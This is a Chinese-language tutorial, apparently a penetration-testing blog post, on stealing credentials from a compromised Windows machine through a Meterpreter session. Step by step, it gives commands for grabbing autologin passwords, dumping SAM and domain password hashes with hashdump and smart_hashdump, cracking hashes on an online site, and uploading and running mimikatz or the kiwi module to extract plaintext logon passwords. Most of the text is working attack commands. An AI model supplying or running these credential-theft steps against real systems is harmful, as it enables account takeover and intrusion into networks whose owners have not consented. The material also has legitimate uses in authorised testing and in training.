一、抓取自动登录的密码:
很多用户习惯将计算机设置自动登录,可以使用
run windows/gather/credentials/windows_autologin
抓取自动登录的用户名和密码。
点击进入:开启windows用户自动登陆的方法!
命令:
run windows/gather/credentials/windows_autologin
二、导出密码哈希:
1. run hashdump命令:
hashdump
模块可以从SAM数据库
中导出本地用户账号,该命令的使用需要系统权限。
1、在meterpreter_shell
中执行run hashdump
命令:
命令:
run hashdump
用户哈希数据的输出格式为:
用户名:SID:LM哈希:NTLM哈希:::
2、上面我们得到了三个用户账号,分别为Administrator、Guest和test。
其中Guest的LM哈希
(aad3b435b51404eeaad3b435b51404ee
)和NTLM哈希(31d6cfe0d16ae931b73c59d7e0c089c0
)对应的是一个空密码:
3、可以看出,test和administrator用户两个密码一样(hash都是:0607f770c2f37e09a850e09e920a9f45),使用在线网站解密:进入cmd5解密网站:
2. run windows/gather/smart_hashdump
命令:
run windows/gather/smart_hashdump
命令的使用需要系统权限。该功能更强大,如果当前用户是域管理员用户,则可以导出域内所有用户的hash。
三、使用mimikatx抓取密码:
1. 上传mimikatz程序:
我们还可以通过上传mimikatz程序,然后执行mimikatz程序来获取明文密码。
1.1 前提:
执行mimikatz必须System权限,并且在执行时,要根据当前的系统位数进行选择。
1.2 使用方法:
1、在meterpreter_shell
的命令行里面查看当前会话的权限,可以看出当前用会话system权限:
2、查看系统位数,可以看出当前系统位数为X64位:
3、选择x64位的mimikatz上传至目标服务器:
命令:
upload file #upload命令后面需要跟上要上传文件的路径;这个命令是从当前机器上传到目标机器;
4、进入mimikatz的交互界面:
命令:
execute -i -f mimikatz.exe
5、在mimikatz交互界面,使用以下两条命令抓取密码:
命令:
privilege::debug
sekurlsa::logonpasswords
2. msf自带的kiwi模块抓取密码:
在新的的msf中,里面集成的mimikatz模块已经被kiwi取代,已经无法直接加载mimikatz模块;我们需要加载kiwi模块,这样才能使用mimikatz;kiwi模块功能和mimikatz一样。
加载kiwi模块,该模块的使用需要System权限。
点击进入:MSF中kiwi模块的使用